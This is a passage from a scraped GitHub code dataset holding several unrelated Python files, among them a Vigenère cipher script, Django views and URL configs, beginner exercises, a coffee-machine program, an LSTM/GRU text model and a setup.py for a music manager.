file)\r\n        # we're getting this error because we're not using stdin    \r\n        except EOFError:\r\n            break\r\n\r\n      \r\n# if want to decrypt a cipher text      \r\nelif (sys.argv[1] == \"-d\"):\r\n    while(True):\r\n        # used try, except to prevent keyboardInterruption error thrown\r\n        try:\r\n            plainText = \"\"\r\n            cipherText = input()\r\n            plainTextList = list(cipherText)\r\n            \r\n            # decipher cipher text into a list of integers\r\n            intList = Decipher(cipherText, key)\r\n            \r\n            # convert each integer into it's mapped letter of the alphabet\r\n            for i in range(0, len(intList)):\r\n            \r\n                # check if the object is an integer\r\n                # if so, convert to letter\r\n                if(isinstance(intList[i], int)):\r\n                    plainText += str(CharValue(intList[i], plainTextList[i].islower()))\r\n                \r\n                # else, add symbol/numerical value\r\n                else:\r\n                    plainText += intList[i\r\n]\r\n            print(plainText)\r\n\r\n        except KeyboardInterrupt:\r\n        # this will exit if the user does ^d, or ^z, ^c, or whatever their system's exit is\r\n            sys.exit(1)\r\n\r\n        # this will catch the EOF error (EOF - End of file)\r\n        # we're getting this error because we're not using stdin    \r\n        except EOFError:\r\n            break\r\n","repo_name":"devonknudsen/Vigenere-Cipher","sub_path":"Vigenere.py","file_name":"Vigenere.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"8985196578","text":"from django.urls import path\n\nfrom django.contrib.auth.views import (\n    LogoutView,\n    LoginView,\n)\n\napp_name = 'users'\n\nurlpatterns = [\n    path('logout/',\n         LogoutView.as_view(\n             template_name='users/logged_out.html',\n             extra_context={'title': 'Вы вышли из своей учётной записи'}\n         ),\n         name='logout'),\n    path(\n        'login/',\n        LoginView.as_view(\n            template_name='users/login.html',\n            extra_context={'title': 'Авторизация'}\n        ),\n        name='login'),\n]\n","repo_name":"draft-pick/sector","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40971604477","text":"import unittest\n\nfrom app import app\n\n\nclass TestPost(unittest.TestCase):\n    def test_post(self):\n\n        self.test_app = app.test_client()\n\n        response = self.test_app.get('/', content_type='html/text')\n        self.assertEqual(response.status_code, 200)\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"p0bailey/docker-flask","sub_path":"app/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"77"}
+{"seq_id":"43709844317","text":"# Write a Python program to find the list of words that\r\n# are longer than n from a given list of words\r\n\r\ntxt = \"The quick brown fox jumps over the lazy dog\"\r\nx = txt.split()\r\nb = []\r\nfor i in x:\r\n    if len(i) > 3:\r\n        b.append(i)\r\nprint(b)","repo_name":"mumbikernikhil/Python-Imp-Codes","sub_path":"Python Programs/List/17. print words longer than 3.py","file_name":"17. print words longer than 3.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29311759249","text":"from random import randint\nnr = randint(1,20)\ni = 0\nwhile i < 5:\n    perdiste = True\n    n = int(input(\"Ingresa el numero: \"))\n    if n > nr:\n        print(\"Mi numero es mayor\")\n        i += 1\n    elif n < nr:\n        print(\"Mi numero es menor\")\n        i += 1\n    elif n == nr:\n        print(\"Adivinaste, mi numero era \", nr)\n        perdiste = False\n        break\nif perdiste:\n    print(\"No adivinaste, mi numero era \", nr)","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej12/hito1_ej12_bbeac069d5a6da8d2f03ac31eb1b4d49.py","file_name":"hito1_ej12_bbeac069d5a6da8d2f03ac31eb1b4d49.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6581229658","text":"\"\"\"learning URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom app.views import HomePageView, HowToView, TestView, TestRightView, TestWrongView, generate_simple_view, generate_odnorodn_view, HowTo2View, generate_quadratic_view, HowTo3View\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('', HomePageView.as_view(), name='home'),\n    path('howto', HowToView.as_view(), name='howto'),\n    path('howto2', HowTo2View.as_view(), name='howto2'),\n    path('howto3', HowTo3View.as_view(), name='howto3'),\n    path('test/<int:difficulty>', TestView.as_view(), name='test'),\n    path('test/<int:difficulty>/right', TestRightView.as_view(), name='right'),\n    path('test/<int:difficulty>/wrong', TestWrongView.as_view(), name='wrong'),\n    path('test/random', TestRandomView.as_view(), name='random'),\n    path('generate-simple', generate_simple_view, name='generate_simple'),\n    path('generate-odnorodn', generate_odnorodn_view, name='generate_odnorodn'),\n    path('generate-quadratic', generate_quadratic_view, name='generate_quadratic'),\n]\n","repo_name":"IlyaHubnester/learning-trig","sub_path":"learning/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75176949369","text":"\r\ndef palindrome(m): #definition de la fonction\r\n    i=0 #definition d'un compteur\r\n    longueur = len(m) #definition d'une variable contenant comme valeur la longueur du mot\r\n\r\n    while i < longueur: #boucle while pour comparer les lettres du mot\r\n        if m[i] != m[-i - 1]: #condition si la lettre egal a i est differente de la lettre opposer alors renvoie comme valeur false\r\n            return False\r\n        i += 1 #incrementation du compteur\r\n    return True #si boucle while complete la fonction renvoi True\r\n\r\nmot=input('entrer un mot : ') #demande un mot a l'utillisateur\r\nif palindrome(mot): #test du mot dans la fonction palindrome definie plus haut\r\n    print(\"Votre mot est un palindrome.\") #si la fonction renvoie vrai alors on affiche que le mot est un palindrome\r\nelse: #sinon on affiche que le mot n'est pas un palindrome\r\n    print(\"Votre mot n'est pas palindrome.\")","repo_name":"Theo-Remy/pythonexe","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5831063972","text":"from menu import MENU\n\n# Start of Function section\n\n\ndef userChoice():\n    \"\"\"This is a function which checks what user entered to the machine.\n    And returns the input string.\"\"\"\n\n    UserChoice = input(\"What would you like? (espresso/latte/cappuccino): \")\n\n    while (UserChoice != \"espresso\") and (UserChoice != \"latte\") and (UserChoice != \"cappuccino\") and (UserChoice != \"report\") and (UserChoice != \"off\"):\n        UserChoice = input(\n            \"What would you like? (espresso/latte/cappuccino): \")\n\n    return UserChoice\n\n\ndef coinChecker(Coin, TypeOFCoin):\n    \"\"\"This function is a support function to userCoins() function,\n    Witch checks if the input of the user is valid for the system.\n    And returns the amount of the coin.\"\"\"\n\n    Coin = input(f\"How many {TypeOFCoin}?: \")\n\n    while not Coin.isdigit():\n        Coin = input(f\"How many {TypeOFCoin}?: \")\n\n    return int(Coin)\n\n\ndef userCoins():\n    \"\"\"This function returns a tuple of the amount of Coins the the user inserted into\n    the machine.\"\"\"\n    Quarters = 0\n    Dimes = 0\n    Nickles = 0\n    Pennies = 0\n    print(\"Please insert coins.\")\n    Quarters = coinChecker(Quarters, \"Quarters\")\n    Dimes = coinChecker(Dimes, \"Dimes\")\n    Nickles = coinChecker(Nickles, \"Nickles\")\n    Pennies = coinChecker(Pennies, \"Pennies\")\n\n    return Quarters, Dimes, Nickles, Pennies\n\n\ndef suppliesCheck(MENU, UserChoice, Water, Milk, Coffee):\n    \"\"\"This function checks if the machine has sufficient amount of each of the\n    supplies and returns False when it finds that a supply is not sufficient for the current\n    picked item.\"\"\"\n\n    for ingredient in MENU[UserChoice][\"ingredients\"]:\n        if ((Water - (MENU[UserChoice]['ingredients'][ingredient])) < 0):\n            print(f\"Sorry there is not enough {ingredient}\")\n            return False\n        elif ((Milk - (MENU[UserChoice]['ingredients'][ingredient])) < 0):\n            print(f\"Sorry there is not enough {ingredient}\")\n            return False\n        elif ((Coffee - (MENU[UserChoice]['ingredients'][ingredient])) < 0):\n            print(f\"Sorry there is not enough {ingredient}\")\n            return False\n\n    return True\n\n\ndef coffeeMaking(UserChoice, Menu, Water, Milk, Coffee):\n    \"\"\"This function creates the coffee and removes the amount of each resource\n    depending what the user choose\"\"\"\n\n    for ingredient in Menu[UserChoice][\"ingredients\"]:\n        if ingredient == \"water\":\n            Water = Water - Menu[UserChoice][\"ingredients\"][\"water\"]\n        elif ingredient == \"milk\":\n            Milk = Milk - Menu[UserChoice][\"ingredients\"][\"milk\"]\n        else:\n            Coffee = Coffee - Menu[UserChoice][\"ingredients\"][\"coffee\"]\n\n    return Water, Milk, Coffee\n\n\ndef moneyChecking(Money, UserCoins, UserChoice, CoinValues, MENU):\n    \"\"\"In this function checks if the user provided sufficient amount of\n    money to pay\"\"\"\n    UserChange = 0\n    UserMoney = 0\n\n    for coin in UserCoins:\n        for coinValue in CoinValues:\n            UserMoney = UserMoney + (coin * CoinValues[coinValue])\n\n    UserChange = change(UserMoney, MENU, UserChoice)\n\n    if UserChange == False:\n        return False\n    else:\n        if UserChange == 0:\n            print(f\"Here is you {UserChoice} ☕ Enjoy!\")\n            return Money + MENU[UserChoice][\"cost\"]\n        else:\n            print(\n                f\"Here is ${UserChange} in change\\nHere is you {UserChoice} ☕ Enjoy!\")\n            return Money + MENU[UserChoice][\"cost\"]\n\n\ndef change(UserMoney, MENU, UserChoice):\n    \"\"\"In this function checks if the user needs any change back\"\"\"\n\n    UserChange = 0\n    for coffeeType in MENU:\n        if (coffeeType == UserChoice):\n            if ((MENU[coffeeType][\"cost\"]) < UserMoney):\n                UserChange = UserMoney - (MENU[coffeeType][\"cost\"])\n                return UserChange\n            elif ((MENU[coffeeType][\"cost\"]) > UserMoney):\n                return False\n            else:\n                return 0\n\n\ndef adminOutput(Water, Milk, Coffee, Money):\n\n    print(\n        f\"Water: {Water}ml\\nMilk: {Milk}ml\\nCoffee: {Coffee}g\\nMoney: ${Money}\")\n\n\ndef adminCheck(AdminValues):\n    \"\"\"In this function check the credential of admin\"\"\"\n\n    print(\"You have two chances\")\n    Username = input(\"Username: \")\n    Password = input(\"Password: \")\n\n    for value in AdminValues:\n        if (AdminValues[value] == Username) and (AdminValues[value] == Password):\n            print(f\"{value} Ok\")\n        else:\n            return False\n    return True\n\n\n    # End of Function section\nWater = 600\nMilk = 600\nCoffee = 600\nMachineMoney = 0\nMachineWorks = True\n\n# Coins\nCoinValues = {\"Quarters\": 0.25,\n              \"Dimes\": 0.10,\n              \"Nickles\": 0.15,\n              \"Pennies\": 0.25}\n\n# Admin Values\nAdmin = {\"Username\": \"admin\",\n         \"Password\": \"admin\",\n         }\n\nwhile MachineWorks:\n    UserChoice = userChoice()\n\n    if (UserChoice == \"off\") or (UserChoice == \"report\"):\n        if (adminCheck(Admin) == True):\n\n            if (UserChoice == \"report\"):\n                adminOutput(Water, Milk, Coffee, MachineMoney)\n            elif (UserChoice == \"off\"):\n                MachineWorks = False\n    else:\n        # espresso / latte / cappuccino\n        if (suppliesCheck(MENU, UserChoice, Water, Milk, Coffee) == True):\n\n            CheckMoney = moneyChecking(\n                MachineMoney, userCoins(), UserChoice, CoinValues, MENU)\n            if CheckMoney == False:\n                print(\"Not enough money\")\n                continue\n            else:\n                Water = coffeeMaking(UserChoice, MENU, Water, Milk, Coffee)[0]\n                Milk = coffeeMaking(UserChoice, MENU, Water, Milk, Coffee)[1]\n                Coffee = coffeeMaking(UserChoice, MENU, Water, Milk, Coffee)[2]\n\n                MachineMoney = MachineMoney + float(CheckMoney)\n","repo_name":"sifisKoen/Pi-Playground","sub_path":"CoffeeMachine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73050079929","text":"#!/usr/bin/env python\nimport os\nimport sys\n\n\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nimport nltk\nnltk.download('punkt')\nimport time\nimport pandas as pd\nimport pickle\n\n\n# In[101]:\n\n\n#make torch\ndef make_variables(sentences, label,vocabulary):\n    \n    final_sentences = []\n    \n    #tokenizing\n    for index, sentence in enumerate(sentences):\n        final_sentences.append(nltk.word_tokenize(sentence))\n    \n    #indexing\n    for index, sentence in enumerate(final_sentences):\n        final_sentences[index]=[vocabulary[word] for word in sentence]\n\n    #각자의 seq_length 구하기 (미니배치별로 진행)\n    seq_lengths = []\n    for sentence in final_sentences:\n        seq_lengths.append(len(sentence))\n    seq_lengths = torch.LongTensor(seq_lengths)\n\n#     print(\"패딩전\")\n#     print(final_sentences[:5])\n#     print(seq_lengths[:5])\n#     print(label[:5])\n    return padding_tensor_sorting(final_sentences,seq_lengths,label)\n\n\n# In[102]:\n\n\ndef padding_tensor_sorting(sentences, seq_lengths, label):\n    seq_tensor = torch.zeros((len(sentences), seq_lengths.max())).long()\n    print('seq_tensor(max):' , seq_lengths.max())\n    for idx, (seq, seq_len) in enumerate(zip(sentences, seq_lengths)):\n        seq_tensor[idx, :seq_len] = torch.LongTensor(seq)\n    \n    if len(seq_tensor) !=1:\n        seq_lengths, perm_idx = seq_lengths.sort(0,descending=True)\n        seq_tensor = seq_tensor[perm_idx]\n    \n    \n    target = torch.tensor(label, dtype=torch.long)\n    \n    if len(seq_tensor) !=1 and len(target)!=0:\n        target = target[perm_idx]\n        \n#     print(\"패딩후\")\n#     print(seq_tensor[:5])\n#     print(seq_lengths[:5])\n#     print(target[:5])\n    return create_variable(seq_tensor),         create_variable(seq_lengths),         create_variable(target)\n\n\n# In[103]:\n\n\ndef create_variable(tensor):\n    #tensor를 gpu 이용 가능한지\n    if torch.cuda.is_available():\n        return Variable(tensor.cuda())\n    else:\n        return Variable(tensor)\n\n\n# In[104]:\n\n\ndef pre_process_test(sentence,a1,a2,a3,a4):\n\n    raw_data = []\n    sentences = []\n    \n    temp =[]\n    temp.append(sentence)\n    temp.append(a1)\n    temp.append(a2)\n    temp.append(a3)\n    temp.append(a4)\n    raw_data.append(temp)\n    \n    print(\"총 문제 개수: \", len(raw_data))\n    print(\"총 문장 개수: \", len(raw_data)*4)\n    for row_index, row in enumerate(raw_data):\n        row_sentence = []\n        row_label = []\n        hype1 = 0\n        hype2 = 0\n        for item_index, item in enumerate(row):\n            # .뒤에 나오는 것 다 없애기 .이 여러 개 있을지 모르니 마지막 .을 이용하기. 두 문장인 경우 .과 ?과 !이 존재\n            # 특수문자 앞에 공백으로 하기\n            # 공백 없애기\n            # 공백 두개, 세개 -> 한개로 바꾸기\n            # _____,----- 연달아 있을시 index 찾아 양쪽 공백 만들기\n            # 소문자로 바꾸기\n\n            if item_index == 0:\n                #\n                index_list = []\n                index_of_dot = item.rfind('.')\n                index_of_question = item.rfind('?')\n                index_of_surprise = item.rfind('!')\n                index_list.append(index_of_dot)\n                index_list.append(index_of_question)\n                index_list.append(index_of_surprise)\n                standard = max(index_list)+1\n                if standard >0:\n                    item = item[:standard]   \n\n                #\n                item = item.strip()\n                #\n                item = item.replace(\"  \", \" \")\n                item = item.replace(\"  \", \" \")\n\n                #\n                index_of_hype1 = item.find('__')\n                index_of_hype2 = item.find('--')\n                index_of_hype3 = item.rfind('__')\n                index_of_hype4 = item.rfind('--')\n                if index_of_hype1 > index_of_hype2:\n                    if index_of_hype3 > index_of_hype4:\n                        hype1 = index_of_hype1\n                        hype2 = index_of_hype3+1\n                elif index_of_hype2 > index_of_hype1:\n                    if index_of_hype4 > index_of_hype3:\n                        hype1 = index_of_hype2\n                        hype2 = index_of_hype4+1\n\n                #----- => hype1 = 0 , hype2 = 4\n                if hype1 == 0:\n                    if (hype2+1) < len(item):\n                        if item[hype2+1] != ' ':\n                            item = item[:hype2+1] + ' ' + item[hype2+1:]\n                else:\n                    if item[hype1-1] != ' ':\n                        item = item[:hype1] + ' ' + item[hype1:]\n                        hype1 = hype1+1\n                        hype2 = hype2+1\n                    if (hype2+1) < len(item):\n                        if item[hype2+1] != ' ':\n                            item = item[:hype2+1] + ' ' + item[hype2+1:]\n                #\n                item = item.lower()\n                # 문장이 아닐 때\n            else:\n                 item = item.strip()\n            raw_data[row_index][item_index] = item\n        #sentence 4개 만들기\n        row[0] = row[0].replace(row[0][hype1:hype2+1],\"\")\n        for i in range(1,5):\n            sentence = row[0][:hype1] + row[i] + row[0][hype1:]\n            row_sentence.append(sentence)\n\n        sentences.append(row_sentence)\n\n    sentences= np.array(sentences)\n    sentences= sentences.flatten()\n    sentences = sentences.tolist()\n    \n    return sentences\n\nclass myModel(nn.Module):\n    def __init__(self, n_layers, hidden_dim, n_vocab, embed_dim, n_classes, bidirectional=True, dropout_p=0.2):\n        super(myModel, self).__init__()\n\n        self.n_layers = n_layers\n        self.hidden_dim = hidden_dim\n        self.n_vocab = n_vocab\n        self.embed_dim = embed_dim\n        self.n_classes = n_classes\n        self.n_directions = int(bidirectional) + 1\n\n        self.embed = nn.Embedding(self.n_vocab, self.embed_dim)\n        self.dropout = nn.Dropout(dropout_p)\n        #         self.lstm = nn.LSTM(self.embed_dim, self.hidden_dim,\n        #                             num_layers=self.n_layers,\n        #                             dropout=dropout_p,\n        #                             batch_first=True)\n        self.lstm = nn.GRU(self.embed_dim, self.hidden_dim,\n                           self.n_layers,\n                           dropout=dropout_p,\n                           batch_first=True)\n        #         self.relu = nn.ReLU()\n        self.out = nn.Linear(self.hidden_dim, self.n_classes)\n\n    #         self.fc1 = nn.Linear(self.hidden_dim, 50)\n    #         self.fc2 = nn.Linear(50, self.n_classes)\n    def forward(self, x, seq_lengths):\n        x = x.t()\n        sen_len = x.size(0)\n        batch_size = x.size(1)\n        print(self.n_layers, self.hidden_dim, self.n_vocab, self.embed_dim, self.n_classes, self.n_directions)\n\n        print(x)\n        embedded = self.embed(x)\n\n        #         print(embedded)\n        lstm_input = pack_padded_sequence(embedded, seq_lengths.data.cpu().numpy())\n        self.hidden = self._init_hidden(batch_size)\n        self.lstm.flatten_parameters()\n\n        lstm_out, self.hidden = self.lstm(lstm_input)\n        lstm_out, lengths = pad_packed_sequence(lstm_out)\n\n        #         h_t = self.dropout(self.hidden[-1])\n        #         logit = self.out(h_t[-1])\n        logit = self.out(self.hidden[-1])\n        #         print(logit)\n        return logit\n\n    def _init_hidden(self, batch_size):\n        hidden = torch.zeros((self.n_layers, self.n_directions,\n                              batch_size, self.hidden_dim))\n        return create_variable(hidden)\n    def change(vocabsize):\n        self.n_vocab = vocabsize\n        self.embed = nn.Embedding(self.n_vocab,self.embed_dim)\n\n\nif __name__ == '__main__':\n    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Micro.settings')\n    try:\n        from django.core.management import execute_from_command_line\n    except ImportError as exc:\n        raise ImportError(\n            \"Couldn't import Django. Are you sure it's installed and \"\n            \"available on your PYTHONPATH environment variable? Did you \"\n            \"forget to activate a virtual environment?\"\n        ) from exc\n    execute_from_command_line(sys.argv)\n","repo_name":"Hwan-seok/Toeic_helper","sub_path":"Micro_Server_django/Micro/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":8431,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"22616779528","text":"import os\nfrom setuptools import setup, Extension\nfrom bard import __version__\n\n\nBOOST_PYTHON_LIB = os.getenv('BOOST_PYTHON_LIB', 'boost_python-py3')\n\nextra_compile_args = ['-std=gnu++17', '-fopenmp', '-Ofast', '-mtune=native',\n                      '-funroll-loops']\nmachine = os.uname().machine\nif machine not in ['ppc64', 'ppc64le']:\n    extra_compile_args.append('-march=native')\n\nbard_ext = Extension('bard.bard_ext',\n                     define_macros=[('MAJOR_VERSION', '1'),\n                                    ('MINOR_VERSION', '0'),\n                                    ('_GLIBCXX_PARALLEL', None)],\n                     include_dirs=['/usr/include/boost'],\n                     libraries=[BOOST_PYTHON_LIB, 'gomp'],\n                     sources=['bard/bard_ext.cpp'],\n                     extra_compile_args=extra_compile_args + ['-fopenmp'])\n\n\nbard_audiofile = Extension('bard.bard_audiofile',\n                           define_macros=[('MAJOR_VERSION', '1'),\n                                          ('MINOR_VERSION', '0'),\n                                          ('_GLIBCXX_PARALLEL', None)],\n                           include_dirs=['/usr/include/boost',\n                                         '/usr/include/ffmpeg'],\n                           libraries=[BOOST_PYTHON_LIB, 'avcodec',\n                                      'avformat', 'avutil', 'swresample'],\n                           sources=['bard/audiofile/audiofile.cpp',\n                                    'bard/audiofile/bufferaviocontext.cpp',\n                                    'bard/audiofile/bufferdecodeoutput.cpp',\n                                    'bard/audiofile/decodeoutput.cpp',\n                                    'bard/audiofile/filedecodeoutput.cpp',\n                                    'bard/audiofile/referencedata.cpp',\n                                    'bard/audiofile/pyaudiofile.cpp'],\n                           extra_compile_args=extra_compile_args)\nsetup(\n    name=\"bard\",\n    version=__version__,\n    author=\"Antonio Larrosa\",\n    author_email=\"larrosa@kde.org\",\n    packages=[\"bard\"],\n    include_package_data=True,\n    url=\"https://github.com/antlarr/bard\",\n    description=\"Bard Music Manager - A database to manage your music, \"\n                \"find duplicates and fix tags\",\n    long_description=\"Bard is a music manager that uses a database to store \"\n                     \"all information about your music: location, tags, \"\n                     \"properties, audio analysis, etc. Bard can also find \"\n                     \"audio duplicates (not using tags, but the audio itself) \"\n                     \"and run different kind of queries on the database.\",\n    python_requires=\">=3.5\",\n    install_requires=[\n        \"pyacoustid\",\n        \"mutagen\",\n        \"Pillow\",\n        \"pydub\",\n        \"numpy\",\n        \"dbus-python\",\n        \"SQLAlchemy >= 2.0\",\n        \"SQLAlchemy-Utils\",\n        \"alembic\",\n        \"Werkzeug\",\n        \"Flask\",\n        \"Flask-Cors\",\n        \"Flask-Login\",\n        \"Jinja2\",\n        \"bcrypt\",\n        \"paramiko\",\n        \"importlib_resources; python_version < '3.7'\"\n    ],\n    data_files=[('share/doc/packages/bard/',\n                 ['README.md'])],\n    scripts=[\"scripts/bard\"],\n    license=\"GPL-3.0-only AND MIT\",\n    ext_modules=[bard_ext, bard_audiofile],\n    classifiers=[\n        \"Development Status :: 4 - Beta\",\n        \"Topic :: Multimedia :: Sound/Audio\",\n        \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n    ],\n)\n","repo_name":"antlarr/bard","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"77"}
+{"seq_id":"17934180930","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django.shortcuts import render_to_response\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.template.defaultfilters import slugify\n\nfrom endless_pagination.decorators import page_template\nfrom unidecode import unidecode\n\nfrom .forms import TextForm\nfrom .forms import PhotoForm\nfrom .forms import VideoForm\nfrom .helper import create_tags\nfrom .helper import media_wall\nfrom post.models import Post\nfrom post.models import Follow\nfrom post.models import Tag\n\n\n@login_required(login_url=reverse_lazy('login'))\n@page_template('dashboard/post_info.html')\ndef dashboard(request, posts_filter=None, template='dashboard/index.html',\n              extra_context=None):\n    user = request.user\n    if posts_filter == 'mine':\n        posts = Post.objects.filter(author=user)\n    elif posts_filter == 'likes':\n        posts = Post.objects.filter(like__author=user)\n    elif posts_filter == 'following':\n        follows = Follow.objects.filter(follower=user)\n        followings = (follow.following for follow in follows)\n        posts = Post.objects.filter(author__in=followings)\n    else:\n        follows = Follow.objects.filter(follower=user)\n        followings = (follow.following for follow in follows)\n        posts = Post.objects.filter(Q(author=user) | Q(author__in=followings))\n\n    if posts:\n        posts = posts.order_by('-created_at')\n\n    context = {\n        'posts': posts,\n        'filter': posts_filter,\n    }\n    if extra_context:\n        context.update(extra_context)\n    return render_to_response(template, context,\n                              context_instance=RequestContext(request))\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef new_text(request, post_id=None, template_name='dashboard/new.html'):\n    if request.method == 'POST':\n        user = request.user\n        form = TextForm(request.POST)\n        if form.is_valid():\n            title = form.cleaned_data['title']\n            content = form.cleaned_data['content']\n            tags = form.cleaned_data['tags']\n            post_id = form.cleaned_data['post_id']\n\n            tags = create_tags(tags)\n            if post_id:\n                try:\n                    post = Post.objects.filter(pk=post_id)\n                    post.update(title=title, content=content)\n                    post = post[0]\n                    post.tags.remove(*post.tags.all())\n                    post.tags.add(*tags)\n                except ObjectDoesNotExist:\n                    return HttpResponseRedirect(reverse_lazy('dashboard'))\n            else:\n                post = Post.objects.create(author=user, title=title,\n                                           content=content, kind='T')\n                post.tags.add(*tags)\n\n            user_slug = user.get_profile().slug\n            if post.slug:\n                redirect_link = reverse_lazy('post_detail_slug',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                                 'post_slug': post.slug,\n                                             })\n            else:\n                redirect_link = reverse_lazy('post_detail',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                             })\n            return HttpResponseRedirect(redirect_link)\n    else:\n        if post_id:\n            try:\n                post = Post.objects.get(pk=post_id)\n                initial = {\n                    'title': post.title,\n                    'content': post.content,\n                    'tags': ', '.join([tag.name for tag in post.tags.all()]),\n                    'post_id': post_id,\n                }\n                form = TextForm(initial=initial)\n            except ObjectDoesNotExist:\n                return HttpResponseRedirect(reverse_lazy('dashboard'))\n        else:\n            form = TextForm()\n    context = {\n        'form': form,\n        'kind': 'text',\n        'action_url': reverse_lazy('new_text'),\n    }\n    return render_to_response(template_name, context,\n                              context_instance=RequestContext(request))\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef new_photo(request, post_id=None, template_name='dashboard/new.html'):\n    if request.method == 'POST':\n        user = request.user\n        form = PhotoForm(request.POST)\n        if form.is_valid():\n            photo = form.cleaned_data['photo']\n            content = form.cleaned_data['content']\n            url = form.cleaned_data['url']\n            tags = form.cleaned_data['tags']\n            post_id = form.cleaned_data['post_id']\n\n            tags = create_tags(tags)\n            if post_id:\n                try:\n                    post = Post.objects.filter(pk=post_id)\n                    post.update(photo=photo, content=content, link=url)\n                    post = post[0]\n                    post.tags.remove(*post.tags.all())\n                    post.tags.add(*tags)\n                except ObjectDoesNotExist:\n                    return HttpResponseRedirect(reverse_lazy('dashboard'))\n            else:\n                post = Post.objects.create(author=user, photo=photo, link=url,\n                                           content=content, kind='P')\n                post.tags.add(*tags)\n\n            user_slug = user.get_profile().slug\n            if post.slug:\n                redirect_link = reverse_lazy('post_detail_slug',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                                 'post_slug': post.slug,\n                                             })\n            else:\n                redirect_link = reverse_lazy('post_detail',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                             })\n            return HttpResponseRedirect(redirect_link)\n    else:\n        if post_id:\n            try:\n                post = Post.objects.get(pk=post_id)\n                initial = {\n                    'photo': post.photo,\n                    'content': post.content,\n                    'url': post.link,\n                    'tags': ', '.join([tag.name for tag in post.tags.all()]),\n                    'post_id': post_id,\n                }\n                form = PhotoForm(initial=initial)\n            except ObjectDoesNotExist:\n                return HttpResponseRedirect(reverse_lazy('dashboard'))\n        else:\n            form = PhotoForm()\n\n    context = {\n        'form': form,\n        'kind': 'photo',\n        'action_url': reverse_lazy('new_photo'),\n    }\n    return render_to_response(template_name, context,\n                              context_instance=RequestContext(request))\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef new_video(request, post_id=None, template_name='dashboard/new.html'):\n    if request.method == 'POST':\n        user = request.user\n        form = VideoForm(request.POST)\n        if form.is_valid():\n            video = form.cleaned_data['video']\n            content = form.cleaned_data['content']\n            tags = form.cleaned_data['tags']\n            post_id = form.cleaned_data['post_id']\n\n            tags = create_tags(tags)\n            if post_id:\n                try:\n                    post = Post.objects.filter(pk=post_id)\n                    post.update(video=video, content=content)\n                    post = post[0]\n                    post.tags.remove(*post.tags.all())\n                    post.tags.add(*tags)\n                except ObjectDoesNotExist:\n                    return HttpResponseRedirect(reverse_lazy('dashboard'))\n            else:\n                post = Post.objects.create(author=user, video=video,\n                                           content=content, kind='V')\n                post.tags.add(*tags)\n\n            user_slug = user.get_profile().slug\n            if post.slug:\n                redirect_link = reverse_lazy('post_detail_slug',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                                 'post_slug': post.slug,\n                                             })\n            else:\n                redirect_link = reverse_lazy('post_detail',\n                                             kwargs={\n                                                 'user_slug': user_slug,\n                                                 'post_id': post.id,\n                                             })\n            return HttpResponseRedirect(redirect_link)\n    else:\n        if post_id:\n            try:\n                post = Post.objects.get(pk=post_id)\n                initial = {\n                    'video': post.video,\n                    'content': post.content,\n                    'tags': ', '.join([tag.name for tag in post.tags.all()]),\n                    'post_id': post_id,\n                }\n                form = VideoForm(initial=initial)\n            except ObjectDoesNotExist:\n                return 